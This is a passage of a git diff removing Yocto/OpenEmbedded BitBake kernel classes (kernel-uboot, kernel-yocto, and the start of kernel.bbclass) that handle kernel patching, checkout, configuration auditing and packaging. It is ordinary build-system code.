- module_pattern = module_pattern_prefix + kernel_package_name + '-module-%s' + module_pattern_suffix
-
- postinst = d.getVar('pkg_postinst_modules')
- postrm = d.getVar('pkg_postrm_modules')
-
- modules = do_split_packages(d, root='${nonarch_base_libdir}/modules', file_regex=module_regex, output_pattern=module_pattern, description='%s kernel module', postinst=postinst, postrm=postrm, recursive=True, hook=frob_metadata, extra_depends='%s-%s' % (kernel_package_name, kernel_version))
- if modules:
- metapkg = d.getVar('KERNEL_MODULES_META_PACKAGE')
- d.appendVar('RDEPENDS_' + metapkg, ' '+' '.join(modules))
-
- # If modules-load.d and modprobe.d are empty at this point, remove them to
- # avoid warnings. removedirs only raises an OSError if an empty
- # directory cannot be removed.
- dvar = d.getVar('PKGD')
- for dir in ["%s/etc/modprobe.d" % (dvar), "%s/etc/modules-load.d" % (dvar), "%s/etc" % (dvar)]:
- if len(os.listdir(dir)) == 0:
- os.rmdir(dir)
-}
-
-do_package[vardeps] += '${@" ".join(map(lambda s: "module_conf_" + s, (d.getVar("KERNEL_MODULE_PROBECONF") or "").split()))}'
diff --git a/meta/classes/kernel-uboot.bbclass b/meta/classes/kernel-uboot.bbclass
deleted file mode 100644
index 87f02654fa..0000000000
--- a/meta/classes/kernel-uboot.bbclass
+++ /dev/null
@@ -1,26 +0,0 @@
-uboot_prep_kimage() {
- if [ -e arch/${ARCH}/boot/compressed/vmlinux ]; then
- vmlinux_path="arch/${ARCH}/boot/compressed/vmlinux"
- linux_suffix=""
- linux_comp="none"
- elif [ -e arch/${ARCH}/boot/vmlinuz.bin ]; then
- rm -f linux.bin
- cp -l arch/${ARCH}/boot/vmlinuz.bin linux.bin
- vmlinux_path=""
- linux_suffix=""
- linux_comp="none"
- else
- vmlinux_path="vmlinux"
- linux_suffix=".gz"
- linux_comp="gzip"
- fi
-
- [ -n "${vmlinux_path}" ] && ${OBJCOPY} -O binary -R .note -R .comment -S "${vmlinux_path}" linux.bin
-
- if [ "${linux_comp}" != "none" ] ; then
- gzip -9 linux.bin
- mv -f "linux.bin${linux_suffix}" linux.bin
- fi
-
- echo "${linux_comp}"
-}
diff --git a/meta/classes/kernel-yocto.bbclass b/meta/classes/kernel-yocto.bbclass
deleted file mode 100644
index 77849a28c9..0000000000
--- a/meta/classes/kernel-yocto.bbclass
+++ /dev/null
@@ -1,631 +0,0 @@
-# remove tasks that modify the source tree in case externalsrc is inherited
-SRCTREECOVEREDTASKS += "do_validate_branches do_kernel_configcheck do_kernel_checkout do_fetch do_unpack do_patch"
-PATCH_GIT_USER_EMAIL ?= "kernel-yocto@oe"
-PATCH_GIT_USER_NAME ?= "OpenEmbedded"
-
-# The distro or local.conf should set this, but if nobody cares...
-LINUX_KERNEL_TYPE ??= "standard"
-
-# KMETA ?= ""
-KBRANCH ?= "master"
-KMACHINE ?= "${MACHINE}"
-SRCREV_FORMAT ?= "meta_machine"
-
-# LEVELS:
-# 0: no reporting
-# 1: report options that are specified, but not in the final config
-# 2: report options that are not hardware related, but set by a BSP
-KCONF_AUDIT_LEVEL ?= "1"
-KCONF_BSP_AUDIT_LEVEL ?= "0"
-KMETA_AUDIT ?= "yes"
-
-# returns local (absolute) path names for all valid patches in the
-# src_uri
-def find_patches(d,subdir):
- patches = src_patches(d)
- patch_list=[]
- for p in patches:
- _, _, local, _, _, parm = bb.fetch.decodeurl(p)
- # if patchdir has been passed, we won't be able to apply it so skip
- # the patch for now, and special processing happens later
- patchdir = ''
- if "patchdir" in parm:
- patchdir = parm["patchdir"]
- if subdir:
- if subdir == patchdir:
- patch_list.append(local)
- else:
- patch_list.append(local)
-
- return patch_list
-
-# returns all the elements from the src uri that are .scc files
-def find_sccs(d):
- sources=src_patches(d, True)
- sources_list=[]
- for s in sources:
- base, ext = os.path.splitext(os.path.basename(s))
- if ext and ext in [".scc", ".cfg"]:
- sources_list.append(s)
- elif base and 'defconfig' in base:
- sources_list.append(s)
-
- return sources_list
-
-# check the SRC_URI for "kmeta" type'd git repositories. Return the name of
-# the repository as it will be found in WORKDIR
-def find_kernel_feature_dirs(d):
- feature_dirs=[]
- fetch = bb.fetch2.Fetch([], d)
- for url in fetch.urls:
- urldata = fetch.ud[url]
- parm = urldata.parm
- type=""
- if "type" in parm:
- type = parm["type"]
- if "destsuffix" in parm:
- destdir = parm["destsuffix"]
- if type == "kmeta":
- feature_dirs.append(destdir)
-
- return feature_dirs
-
-# find the master/machine source branch. In the same way that the fetcher proceses
-# git repositories in the SRC_URI we take the first repo found, first branch.
-def get_machine_branch(d, default):
- fetch = bb.fetch2.Fetch([], d)
- for url in fetch.urls:
- urldata = fetch.ud[url]
- parm = urldata.parm
- if "branch" in parm:
- branches = urldata.parm.get("branch").split(',')
- btype = urldata.parm.get("type")
- if btype != "kmeta":
- return branches[0]
-
- return default
-
-do_kernel_metadata() {
- set +e
- cd ${S}
- export KMETA=${KMETA}
-
- # if kernel tools are available in-tree, they are preferred
- # and are placed on the path before any external tools. Unless
- # the external tools flag is set, in that case we do nothing.
- if [ -f "${S}/scripts/util/configme" ]; then
- if [ -z "${EXTERNAL_KERNEL_TOOLS}" ]; then
- PATH=${S}/scripts/util:${PATH}
- fi
- fi
-
- # In a similar manner to the kernel itself:
- #
- # defconfig: $(obj)/conf
- # ifeq ($(KBUILD_DEFCONFIG),)
- # $< --defconfig $(Kconfig)
- # else
- # @echo "*** Default configuration is based on '$(KBUILD_DEFCONFIG)'"
- # $(Q)$< --defconfig=arch/$(SRCARCH)/configs/$(KBUILD_DEFCONFIG) $(Kconfig)
- # endif
- #
- # If a defconfig is specified via the KBUILD_DEFCONFIG variable, we copy it
- # from the source tree, into a common location and normalized "defconfig" name,
- # where the rest of the process will include and incoroporate it into the build
- #
- # If the fetcher has already placed a defconfig in WORKDIR (from the SRC_URI),
- # we don't overwrite it, but instead warn the user that SRC_URI defconfigs take
- # precendence.
- #
- if [ -n "${KBUILD_DEFCONFIG}" ]; then
- if [ -f "${S}/arch/${ARCH}/configs/${KBUILD_DEFCONFIG}" ]; then
- if [ -f "${WORKDIR}/defconfig" ]; then
- # If the two defconfig's are different, warn that we didn't overwrite the
- # one already placed in WORKDIR by the fetcher.
- cmp "${WORKDIR}/defconfig" "${S}/arch/${ARCH}/configs/${KBUILD_DEFCONFIG}"
- if [ $? -ne 0 ]; then
- bbwarn "defconfig detected in WORKDIR. ${KBUILD_DEFCONFIG} skipped"
- else
- cp -f ${S}/arch/${ARCH}/configs/${KBUILD_DEFCONFIG} ${WORKDIR}/defconfig
- fi
- else
- cp -f ${S}/arch/${ARCH}/configs/${KBUILD_DEFCONFIG} ${WORKDIR}/defconfig
- fi
- in_tree_defconfig="${WORKDIR}/defconfig"
- else
- bbfatal "A KBUILD_DEFCONFIG '${KBUILD_DEFCONFIG}' was specified, but not present in the source tree"
- fi
- fi
-
- # was anyone trying to patch the kernel meta data ?, we need to do
- # this here, since the scc commands migrate the .cfg fragments to the
- # kernel source tree, where they'll be used later.
- check_git_config
- patches="${@" ".join(find_patches(d,'kernel-meta'))}"
- for p in $patches; do
- (
- cd ${WORKDIR}/kernel-meta
- git am -s $p
- )
- done
-
- sccs_from_src_uri="${@" ".join(find_sccs(d))}"
- patches="${@" ".join(find_patches(d,''))}"
- feat_dirs="${@" ".join(find_kernel_feature_dirs(d))}"
-
- # a quick check to make sure we don't have duplicate defconfigs If
- # there's a defconfig in the SRC_URI, did we also have one from the
- # KBUILD_DEFCONFIG processing above ?
- src_uri_defconfig=$(echo $sccs_from_src_uri | awk '(match($0, "defconfig") != 0) { print $0 }' RS=' ')
- # drop and defconfig's from the src_uri variable, we captured it just above here if it existed
- sccs_from_src_uri=$(echo $sccs_from_src_uri | awk '(match($0, "defconfig") == 0) { print $0 }' RS=' ')
-
- if [ -n "$in_tree_defconfig" ]; then
- sccs_defconfig=$in_tree_defconfig
- if [ -n "$src_uri_defconfig" ]; then
- bbwarn "[NOTE]: defconfig was supplied both via KBUILD_DEFCONFIG and SRC_URI. Dropping SRC_URI defconfig"
- fi
- else
- # if we didn't have an in-tree one, make our defconfig the one
- # from the src_uri. Note: there may not have been one from the
- # src_uri, so this can be an empty variable.
- sccs_defconfig=$src_uri_defconfig
- fi
- sccs="$sccs_from_src_uri"
-
- # check for feature directories/repos/branches that were part of the
- # SRC_URI. If they were supplied, we convert them into include directives
- # for the update part of the process
- for f in ${feat_dirs}; do
- if [ -d "${WORKDIR}/$f/meta" ]; then
- includes="$includes -I${WORKDIR}/$f/kernel-meta"
- elif [ -d "${WORKDIR}/../oe-local-files/$f" ]; then
- includes="$includes -I${WORKDIR}/../oe-local-files/$f"
- elif [ -d "${WORKDIR}/$f" ]; then
- includes="$includes -I${WORKDIR}/$f"
- fi
- done
- for s in ${sccs} ${patches}; do
- sdir=$(dirname $s)
- includes="$includes -I${sdir}"
- # if a SRC_URI passed patch or .scc has a subdir of "kernel-meta",
- # then we add it to the search path
- if [ -d "${sdir}/kernel-meta" ]; then
- includes="$includes -I${sdir}/kernel-meta"
- fi
- done
-
- # expand kernel features into their full path equivalents
- bsp_definition=$(spp ${includes} --find -DKMACHINE=${KMACHINE} -DKTYPE=${LINUX_KERNEL_TYPE})
- if [ -z "$bsp_definition" ]; then
- if [ -z "$sccs_defconfig" ]; then
- bbfatal_log "Could not locate BSP definition for ${KMACHINE}/${LINUX_KERNEL_TYPE} and no defconfig was provided"
- fi
- else
- # if the bsp definition has "define KMETA_EXTERNAL_BSP t",
- # then we need to set a flag that will instruct the next
- # steps to use the BSP as both configuration and patches.
- grep -q KMETA_EXTERNAL_BSP $bsp_definition
- if [ $? -eq 0 ]; then
- KMETA_EXTERNAL_BSPS="t"
- fi
- fi
- meta_dir=$(kgit --meta)
-
- KERNEL_FEATURES_FINAL=""
- if [ -n "${KERNEL_FEATURES}" ]; then
- for feature in ${KERNEL_FEATURES}; do
- feature_found=f
- for d in $includes; do
- path_to_check=$(echo $d | sed 's/-I//g')
- if [ "$feature_found" = "f" ] && [ -e "$path_to_check/$feature" ]; then
- feature_found=t
- fi
- done
- if [ "$feature_found" = "f" ]; then
- if [ -n "${KERNEL_DANGLING_FEATURES_WARN_ONLY}" ]; then
- bbwarn "Feature '$feature' not found, but KERNEL_DANGLING_FEATURES_WARN_ONLY is set"
- bbwarn "This may cause runtime issues, dropping feature and allowing configuration to continue"
- else
- bberror "Feature '$feature' not found, this will cause configuration failures."
- bberror "Check the SRC_URI for meta-data repositories or directories that may be missing"
- bbfatal_log "Set KERNEL_DANGLING_FEATURES_WARN_ONLY to ignore this issue"
- fi
- else
- KERNEL_FEATURES_FINAL="$KERNEL_FEATURES_FINAL $feature"
- fi
- done
- fi
-
- # run1: pull all the configuration fragments, no matter where they come from
- elements="`echo -n ${bsp_definition} $sccs_defconfig ${sccs} ${patches} $KERNEL_FEATURES_FINAL`"
- if [ -n "${elements}" ]; then
- echo "${bsp_definition}" > ${S}/${meta_dir}/bsp_definition
- scc --force -o ${S}/${meta_dir}:cfg,merge,meta ${includes} $sccs_defconfig $bsp_definition $sccs $patches $KERNEL_FEATURES_FINAL
- if [ $? -ne 0 ]; then
- bbfatal_log "Could not generate configuration queue for ${KMACHINE}."
- fi
- fi
-
- # if KMETA_EXTERNAL_BSPS has been set, or it has been detected from
- # the bsp definition, then we inject the bsp_definition into the
- # patch phase below. we'll piggy back on the sccs variable.
- if [ -n "${KMETA_EXTERNAL_BSPS}" ]; then
- sccs="${bsp_definition} ${sccs}"
- fi
-
- # run2: only generate patches for elements that have been passed on the SRC_URI
- elements="`echo -n ${sccs} ${patches} $KERNEL_FEATURES_FINAL`"
- if [ -n "${elements}" ]; then
- scc --force -o ${S}/${meta_dir}:patch --cmds patch ${includes} ${sccs} ${patches} $KERNEL_FEATURES_FINAL
- if [ $? -ne 0 ]; then
- bbfatal_log "Could not generate configuration queue for ${KMACHINE}."
- fi
- fi
-}
-
-do_patch() {
- set +e
- cd ${S}
-
- check_git_config
- meta_dir=$(kgit --meta)
- (cd ${meta_dir}; ln -sf patch.queue series)
- if [ -f "${meta_dir}/series" ]; then
- kgit-s2q --gen -v --patches .kernel-meta/
- if [ $? -ne 0 ]; then
- bberror "Could not apply patches for ${KMACHINE}."
- bbfatal_log "Patch failures can be resolved in the linux source directory ${S})"
- fi
- fi
-
- if [ -f "${meta_dir}/merge.queue" ]; then
- # we need to merge all these branches
- for b in $(cat ${meta_dir}/merge.queue); do
- git show-ref --verify --quiet refs/heads/${b}
- if [ $? -eq 0 ]; then
- bbnote "Merging branch ${b}"
- git merge -q --no-ff -m "Merge branch ${b}" ${b}
- else
- bbfatal "branch ${b} does not exist, cannot merge"
- fi
- done
- fi
-}
-
-do_kernel_checkout() {
- set +e
-
- source_dir=`echo ${S} | sed 's%/$%%'`
- source_workdir="${WORKDIR}/git"
- if [ -d "${WORKDIR}/git/" ]; then
- # case: git repository
- # if S is WORKDIR/git, then we shouldn't be moving or deleting the tree.
- if [ "${source_dir}" != "${source_workdir}" ]; then
- if [ -d "${source_workdir}/.git" ]; then
- # regular git repository with .git
- rm -rf ${S}
- mv ${WORKDIR}/git ${S}
- else
- # create source for bare cloned git repository
- git clone ${WORKDIR}/git ${S}
- rm -rf ${WORKDIR}/git
- fi
- fi
- cd ${S}
- else
- # case: we have no git repository at all.
- # To support low bandwidth options for building the kernel, we'll just
- # convert the tree to a git repo and let the rest of the process work unchanged
-
- # if ${S} hasn't been set to the proper subdirectory a default of "linux" is
- # used, but we can't initialize that empty directory. So check it and throw a
- # clear error
-
- cd ${S}
- if [ ! -f "Makefile" ]; then
- bberror "S is not set to the linux source directory. Check "
- bbfatal "the recipe and set S to the proper extracted subdirectory"
- fi
- rm -f .gitignore
- git init
- check_git_config
- git add .
- git commit -q -m "baseline commit: creating repo for ${PN}-${PV}"
- git clean -d -f
- fi
-
- # convert any remote branches to local tracking ones
- for i in `git branch -a --no-color | grep remotes | grep -v HEAD`; do
- b=`echo $i | cut -d' ' -f2 | sed 's%remotes/origin/%%'`;
- git show-ref --quiet --verify -- "refs/heads/$b"
- if [ $? -ne 0 ]; then
- git branch $b $i > /dev/null
- fi
- done
-
- # Create a working tree copy of the kernel by checking out a branch
- machine_branch="${@ get_machine_branch(d, "${KBRANCH}" )}"
-
- # checkout and clobber any unimportant files
- git checkout -f ${machine_branch}
-}
-do_kernel_checkout[dirs] = "${S}"
-
-addtask kernel_checkout before do_kernel_metadata after do_symlink_kernsrc
-addtask kernel_metadata after do_validate_branches do_unpack before do_patch
-do_kernel_metadata[depends] = "kern-tools-native:do_populate_sysroot"
-do_validate_branches[depends] = "kern-tools-native:do_populate_sysroot"
-
-do_kernel_configme[depends] += "virtual/${TARGET_PREFIX}binutils:do_populate_sysroot"
-do_kernel_configme[depends] += "virtual/${TARGET_PREFIX}gcc:do_populate_sysroot"
-do_kernel_configme[depends] += "bc-native:do_populate_sysroot bison-native:do_populate_sysroot"
-do_kernel_configme[depends] += "kern-tools-native:do_populate_sysroot"
-do_kernel_configme[dirs] += "${S} ${B}"
-do_kernel_configme() {
- # translate the kconfig_mode into something that merge_config.sh
- # understands
- case ${KCONFIG_MODE} in
- *allnoconfig)
- config_flags="-n"
- ;;
- *alldefconfig)
- config_flags=""
- ;;
- *)
- if [ -f ${WORKDIR}/defconfig ]; then
- config_flags="-n"
- fi
- ;;
- esac
-
- cd ${S}
-
- meta_dir=$(kgit --meta)
- configs="$(scc --configs -o ${meta_dir})"
- if [ $? -ne 0 ]; then
- bberror "${configs}"
- bbfatal_log "Could not find configuration queue (${meta_dir}/config.queue)"
- fi
-
- CFLAGS="${CFLAGS} ${TOOLCHAIN_OPTIONS}" HOSTCC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}" HOSTCPP="${BUILD_CPP}" CC="${KERNEL_CC}" LD="${KERNEL_LD}" ARCH=${ARCH} merge_config.sh -O ${B} ${config_flags} ${configs} > ${meta_dir}/cfg/merge_config_build.log 2>&1
- if [ $? -ne 0 -o ! -f ${B}/.config ]; then
- bberror "Could not generate a .config for ${KMACHINE}-${LINUX_KERNEL_TYPE}"
- if [ ${KCONF_AUDIT_LEVEL} -gt 1 ]; then
- bbfatal_log "`cat ${meta_dir}/cfg/merge_config_build.log`"
- else
- bbfatal_log "Details can be found at: ${S}/${meta_dir}/cfg/merge_config_build.log"
- fi
- fi
-
- if [ ! -z "${LINUX_VERSION_EXTENSION}" ]; then
- echo "# Global settings from linux recipe" >> ${B}/.config
- echo "CONFIG_LOCALVERSION="\"${LINUX_VERSION_EXTENSION}\" >> ${B}/.config
- fi
-}
-
-addtask kernel_configme before do_configure after do_patch
-addtask config_analysis
-
-do_config_analysis[depends] = "virtual/kernel:do_configure"
-do_config_analysis[depends] += "kern-tools-native:do_populate_sysroot"
-
-CONFIG_AUDIT_FILE ?= "${WORKDIR}/config-audit.txt"
-CONFIG_ANALYSIS_FILE ?= "${WORKDIR}/config-analysis.txt"
-
-python do_config_analysis() {
- import re, string, sys, subprocess
-
- s = d.getVar('S')
-
- env = os.environ.copy()
- env['PATH'] = "%s:%s%s" % (d.getVar('PATH'), s, "/scripts/util/")
- env['LD'] = d.getVar('KERNEL_LD')
- env['CC'] = d.getVar('KERNEL_CC')
- env['ARCH'] = d.getVar('ARCH')
- env['srctree'] = s
-
- # read specific symbols from the kernel recipe or from local.conf
- # i.e.: CONFIG_ANALYSIS_pn-linux-yocto-dev = 'NF_CONNTRACK LOCALVERSION'
- config = d.getVar( 'CONFIG_ANALYSIS' )
- if not config:
- config = [ "" ]
- else:
- config = config.split()
-
- for c in config:
- for action in ["analysis","audit"]:
- if action == "analysis":
- try:
- analysis = subprocess.check_output(['symbol_why.py', '--dotconfig', '{}'.format( d.getVar('B') + '/.config' ), '--blame', c], cwd=s, env=env ).decode('utf-8')
- except subprocess.CalledProcessError as e:
- bb.fatal( "config analysis failed: %s" % e.output.decode('utf-8'))
-
- outfile = d.getVar( 'CONFIG_ANALYSIS_FILE' )
-
- if action == "audit":
- try:
- analysis = subprocess.check_output(['symbol_why.py', '--dotconfig', '{}'.format( d.getVar('B') + '/.config' ), '--summary', '--extended', '--sanity', c], cwd=s, env=env ).decode('utf-8')
- except subprocess.CalledProcessError as e:
- bb.fatal( "config analysis failed: %s" % e.output.decode('utf-8'))
-
- outfile = d.getVar( 'CONFIG_AUDIT_FILE' )
-
- if c:
- outdir = os.path.dirname( outfile )
- outname = os.path.basename( outfile )
- outfile = outdir + '/'+ c + '-' + outname
-
- if config and os.path.isfile(outfile):
- os.remove(outfile)
-
- with open(outfile, 'w+') as f:
- f.write( analysis )
-
- bb.warn( "Configuration {} executed, see: {} for details".format(action,outfile ))
- if c:
- bb.warn( analysis )
-}
-
-python do_kernel_configcheck() {
- import re, string, sys, subprocess
-
- # if KMETA isn't set globally by a recipe using this routine, we need to
- # set the default to 'meta'. Otherwise, kconf_check is not passed a valid
- # meta-series for processing
- kmeta = d.getVar("KMETA") or "meta"
- if not os.path.exists(kmeta):
- kmeta = subprocess.check_output(['kgit', '--meta']).decode('utf-8').rstrip()
-
- s = d.getVar('S')
-
- env = os.environ.copy()
- env['PATH'] = "%s:%s%s" % (d.getVar('PATH'), s, "/scripts/util/")
- env['LD'] = d.getVar('KERNEL_LD')
- env['CC'] = d.getVar('KERNEL_CC')
- env['ARCH'] = d.getVar('ARCH')
- env['srctree'] = s
-
- try:
- configs = subprocess.check_output(['scc', '--configs', '-o', s + '/.kernel-meta'], env=env).decode('utf-8')
- except subprocess.CalledProcessError as e:
- bb.fatal( "Cannot gather config fragments for audit: %s" % e.output.decode("utf-8") )
-
- config_check_visibility = int(d.getVar("KCONF_AUDIT_LEVEL") or 0)
- bsp_check_visibility = int(d.getVar("KCONF_BSP_AUDIT_LEVEL") or 0)
-
- # if config check visibility is "1", that's the lowest level of audit. So
- # we add the --classify option to the run, since classification will
- # streamline the output to only report options that could be boot issues,
- # or are otherwise required for proper operation.
- extra_params = ""
- if config_check_visibility == 1:
- extra_params = "--classify"
-
- # category #1: mismatches
- try:
- analysis = subprocess.check_output(['symbol_why.py', '--dotconfig', '{}'.format( d.getVar('B') + '/.config' ), '--mismatches', extra_params], cwd=s, env=env ).decode('utf-8')
- except subprocess.CalledProcessError as e:
- bb.fatal( "config analysis failed: %s" % e.output.decode('utf-8'))
-
- if analysis:
- outfile = "{}/{}/cfg/mismatch.txt".format( s, kmeta )
- if os.path.isfile(outfile):
- os.remove(outfile)
- with open(outfile, 'w+') as f:
- f.write( analysis )
-
- if config_check_visibility and os.stat(outfile).st_size > 0:
- with open (outfile, "r") as myfile:
- results = myfile.read()
- bb.warn( "[kernel config]: specified values did not make it into the kernel's final configuration:\n\n%s" % results)
-
- # category #2: invalid fragment elements
- extra_params = ""
- if bsp_check_visibility > 1:
- extra_params = "--strict"
- try:
- analysis = subprocess.check_output(['symbol_why.py', '--dotconfig', '{}'.format( d.getVar('B') + '/.config' ), '--invalid', extra_params], cwd=s, env=env ).decode('utf-8')
- except subprocess.CalledProcessError as e:
- bb.fatal( "config analysis failed: %s" % e.output.decode('utf-8'))
-
- if analysis:
- outfile = "{}/{}/cfg/invalid.txt".format(s,kmeta)
- if os.path.isfile(outfile):
- os.remove(outfile)
- with open(outfile, 'w+') as f:
- f.write( analysis )
-
- if bsp_check_visibility and os.stat(outfile).st_size > 0:
- with open (outfile, "r") as myfile:
- results = myfile.read()
- bb.warn( "[kernel config]: This BSP contains fragments with warnings:\n\n%s" % results)
-
- # category #3: redefined options (this is pretty verbose and is debug only)
- try:
- analysis = subprocess.check_output(['symbol_why.py', '--dotconfig', '{}'.format( d.getVar('B') + '/.config' ), '--sanity'], cwd=s, env=env ).decode('utf-8')
- except subprocess.CalledProcessError as e:
- bb.fatal( "config analysis failed: %s" % e.output.decode('utf-8'))
-
- if analysis:
- outfile = "{}/{}/cfg/redefinition.txt".format(s,kmeta)
- if os.path.isfile(outfile):
- os.remove(outfile)
- with open(outfile, 'w+') as f:
- f.write( analysis )
-
- # if the audit level is greater than two, we report if a fragment has overriden
- # a value from a base fragment. This is really only used for new kernel introduction
- if bsp_check_visibility > 2 and os.stat(outfile).st_size > 0:
- with open (outfile, "r") as myfile:
- results = myfile.read()
- bb.warn( "[kernel config]: This BSP has configuration options defined in more than one config, with differing values:\n\n%s" % results)
-}
-
-# Ensure that the branches (BSP and meta) are on the locations specified by
-# their SRCREV values. If they are NOT on the right commits, the branches
-# are corrected to the proper commit.
-do_validate_branches() {
- set +e
- cd ${S}
-
- machine_branch="${@ get_machine_branch(d, "${KBRANCH}" )}"
- machine_srcrev="${SRCREV_machine}"
-
- # if SRCREV is AUTOREV it shows up as AUTOINC there's nothing to
- # check and we can exit early
- if [ "${machine_srcrev}" = "AUTOINC" ]; then
- bbnote "SRCREV validation is not required for AUTOREV"
- elif [ "${machine_srcrev}" = "" ]; then
- if [ "${SRCREV}" != "AUTOINC" ] && [ "${SRCREV}" != "INVALID" ]; then
- # SRCREV_machine_<MACHINE> was not set. This means that a custom recipe
- # that doesn't use the SRCREV_FORMAT "machine_meta" is being built. In
- # this case, we need to reset to the give SRCREV before heading to patching
- bbnote "custom recipe is being built, forcing SRCREV to ${SRCREV}"
- force_srcrev="${SRCREV}"
- fi
- else
- git cat-file -t ${machine_srcrev} > /dev/null
- if [ $? -ne 0 ]; then
- bberror "${machine_srcrev} is not a valid commit ID."
- bbfatal_log "The kernel source tree may be out of sync"
- fi
- force_srcrev=${machine_srcrev}
- fi
-
- git checkout -q -f ${machine_branch}
- if [ -n "${force_srcrev}" ]; then
- # see if the branch we are about to patch has been properly reset to the defined
- # SRCREV .. if not, we reset it.
- branch_head=`git rev-parse HEAD`
- if [ "${force_srcrev}" != "${branch_head}" ]; then
- current_branch=`git rev-parse --abbrev-ref HEAD`
- git branch "$current_branch-orig"
- git reset --hard ${force_srcrev}
- # We've checked out HEAD, make sure we cleanup kgit-s2q fence post check
- # so the patches are applied as expected otherwise no patching
- # would be done in some corner cases.
- kgit-s2q --clean
- fi
- fi
-}
-
-OE_TERMINAL_EXPORTS += "KBUILD_OUTPUT"
-KBUILD_OUTPUT = "${B}"
-
-python () {
- # If diffconfig is available, ensure it runs after kernel_configme
- if 'do_diffconfig' in d:
- bb.build.addtask('do_diffconfig', None, 'do_kernel_configme', d)
-
- externalsrc = d.getVar('EXTERNALSRC')
- if externalsrc:
- # If we deltask do_patch, do_kernel_configme is left without
- # dependencies and runs too early
- d.setVarFlag('do_kernel_configme', 'deps', (d.getVarFlag('do_kernel_configme', 'deps', False) or []) + ['do_unpack'])
-}
-
-# extra tasks
-addtask kernel_version_sanity_check after do_kernel_metadata do_kernel_checkout before do_compile
-addtask validate_branches before do_patch after do_kernel_checkout
-addtask kernel_configcheck after do_configure before do_compile
diff --git a/meta/classes/kernel.bbclass b/meta/classes/kernel.bbclass
deleted file mode 100644
index cf43a5d604..0000000000
--- a/meta/classes/kernel.bbclass
+++ /dev/null
@@ -1,757 +0,0 @@
-inherit linux-kernel-base kernel-module-split
-
-KERNEL_PACKAGE_NAME ??= "kernel"
-KERNEL_DEPLOYSUBDIR ??= "${@ "" if (d.getVar("KERNEL_PACKAGE_NAME") == "kernel") else d.getVar("KERNEL_PACKAGE_NAME") }"
-
-PROVIDES += "${@ "virtual/kernel" if (d.getVar("KERNEL_PACKAGE_NAME") == "kernel") else "" }"
-DEPENDS += "virtual/${TARGET_PREFIX}binutils virtual/${TARGET_PREFIX}gcc kmod-native bc-native bison-native"
-DEPENDS += "${@bb.utils.contains("INITRAMFS_FSTYPES", "cpio.lzo", "lzop-native", "", d)}"
-DEPENDS += "${@bb.utils.contains("INITRAMFS_FSTYPES", "cpio.lz4", "lz4-native", "", d)}"
-PACKAGE_WRITE_DEPS += "depmodwrapper-cross"
-
-do_deploy[depends] += "depmodwrapper-cross:do_populate_sysroot gzip-native:do_populate_sysroot"
-do_clean[depends] += "make-mod-scripts:do_clean"
-
-CVE_PRODUCT ?= "linux_kernel"
-
-S = "${STAGING_KERNEL_DIR}"
-B = "${WORKDIR}/build"
-KBUILD_OUTPUT = "${B}"
-OE_TERMINAL_EXPORTS += "KBUILD_OUTPUT"
-
-# we include gcc above, we dont need virtual/libc
-INHIBIT_DEFAULT_DEPS = "1"
-
-KERNEL_IMAGETYPE ?= "zImage"
-INITRAMFS_IMAGE ?= ""
-INITRAMFS_IMAGE_NAME ?= "${@['${INITRAMFS_IMAGE}-${MACHINE}', ''][d.getVar('INITRAMFS_IMAGE') == '']}"
-INITRAMFS_TASK ?= ""
-INITRAMFS_IMAGE_BUNDLE ?= ""
-
-# KERNEL_VERSION is extracted from source code. It is evaluated as
-# None for the first parsing, since the code has not been fetched.
-# After the code is fetched, it will be evaluated as real version
-# number and cause kernel to be rebuilt. To avoid this, make
-# KERNEL_VERSION_NAME and KERNEL_VERSION_PKG_NAME depend on
-# LINUX_VERSION which is a constant.
-KERNEL_VERSION_NAME = "${@d.getVar('KERNEL_VERSION') or ""}"
-KERNEL_VERSION_NAME[vardepvalue] = "${LINUX_VERSION}"
-KERNEL_VERSION_PKG_NAME = "${@legitimize_package_name(d.getVar('KERNEL_VERSION'))}"
-KERNEL_VERSION_PKG_NAME[vardepvalue] = "${LINUX_VERSION}"
-
-python __anonymous () {
- pn = d.getVar("PN")
- kpn = d.getVar("KERNEL_PACKAGE_NAME")
-
- # XXX Remove this after bug 11905 is resolved
- # FILES_${KERNEL_PACKAGE_NAME}-dev doesn't expand correctly
- if kpn == pn:
- bb.warn("Some packages (E.g. *-dev) might be missing due to "
- "bug 11905 (variable KERNEL_PACKAGE_NAME == PN)")
-
- # The default kernel recipe builds in a shared location defined by
- # bitbake/distro confs: STAGING_KERNEL_DIR and STAGING_KERNEL_BUILDDIR.
- # Set these variables to directories under ${WORKDIR} in alternate
- # kernel recipes (I.e. where KERNEL_PACKAGE_NAME != kernel) so that they
- # may build in parallel with the default kernel without clobbering.
- if kpn != "kernel":
- workdir = d.getVar("WORKDIR")
- sourceDir = os.path.join(workdir, 'kernel-source')
- artifactsDir = os.path.join(workdir, 'kernel-build-artifacts')
- d.setVar("STAGING_KERNEL_DIR", sourceDir)
- d.setVar("STAGING_KERNEL_BUILDDIR", artifactsDir)
-
- # Merge KERNEL_IMAGETYPE and KERNEL_ALT_IMAGETYPE into KERNEL_IMAGETYPES
- type = d.getVar('KERNEL_IMAGETYPE') or ""
- alttype = d.getVar('KERNEL_ALT_IMAGETYPE') or ""
- types = d.getVar('KERNEL_IMAGETYPES') or ""
- if type not in types.split():
- types = (type + ' ' + types).strip()
- if alttype not in types.split():
- types = (alttype + ' ' + types).strip()
- d.setVar('KERNEL_IMAGETYPES', types)
-
- # KERNEL_IMAGETYPES may contain a mixture of image types supported directly
- # by the kernel build system and types which are created by post-processing
- # the output of the kernel build system (e.g. compressing vmlinux ->
- # vmlinux.gz in kernel_do_compile()).
- # KERNEL_IMAGETYPE_FOR_MAKE should contain only image types supported
- # directly by the kernel build system.
- if not d.getVar('KERNEL_IMAGETYPE_FOR_MAKE'):
- typeformake = set()
- for type in types.split():
- if type == 'vmlinux.gz':
- type = 'vmlinux'
- typeformake.add(type)
-
- d.setVar('KERNEL_IMAGETYPE_FOR_MAKE', ' '.join(sorted(typeformake)))
-
- kname = d.getVar('KERNEL_PACKAGE_NAME') or "kernel"
- imagedest = d.getVar('KERNEL_IMAGEDEST')
-
- for type in types.split():
- typelower = type.lower()
- d.appendVar('PACKAGES', ' %s-image-%s' % (kname, typelower))
- d.setVar('FILES_' + kname + '-image-' + typelower, '/' + imagedest + '/' + type + '-${KERNEL_VERSION_NAME}' + ' /' + imagedest + '/' + type)
- d.appendVar('RDEPENDS_%s-image' % kname, ' %s-image-%s' % (kname, typelower))
